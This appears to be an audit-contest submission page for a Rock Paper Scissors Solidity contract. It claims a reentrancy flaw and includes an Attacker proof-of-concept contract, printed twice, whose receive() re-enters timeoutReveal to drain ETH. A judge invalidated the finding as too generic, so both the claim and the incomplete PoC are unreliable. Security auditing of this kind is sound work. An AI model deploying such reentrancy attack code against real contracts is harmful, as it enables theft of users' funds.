Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Invalid

Reentrancy in ETH Transfers

Description: The contract uses .call() for ETH transfers without following the checks-effects-interactions pattern, making it vulnerable to reentrancy attacks. Multiple locations including RockPaperScissors::_finishGame() , RockPaperScissors::_handleTie() , and RockPaperScissors::_cancelGame() functions

Impact: An attacker could potentially drain ETH from the contract by recursively calling these functions.

Proof of Concept:

contract Attacker {
RockPaperScissors game;
uint256 gameId;
constructor(RockPaperScissors _game) {
game = _game;
}
function attack() external payable {
gameId = game.createGameWithEth{value: 0.1 ether}(3, 5 minutes);
game.joinGameWithEth{value: 0.1 ether}(gameId);
// Trigger reentrancy during payout
}
receive() external payable {
if (address(game).balance >= 0.1 ether) {
game.timeoutReveal(gameId);
}
}
}contract Attacker {
RockPaperScissors game;
uint256 gameId;
constructor(RockPaperScissors _game) {
game = _game;
}
function attack() external payable {
gameId = game.createGameWithEth{value: 0.1 ether}(3, 5 minutes);
game.joinGameWithEth{value: 0.1 ether}(gameId);
// Trigger reentrancy during payout
}
receive() external payable {
if (address(game).balance >= 0.1 ether) {
game.timeoutReveal(gameId);
}
}
}

Recommended Mitigation: Use the checks-effects-interactions pattern and consider using OpenZeppelin's ReentrancyGuard.

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.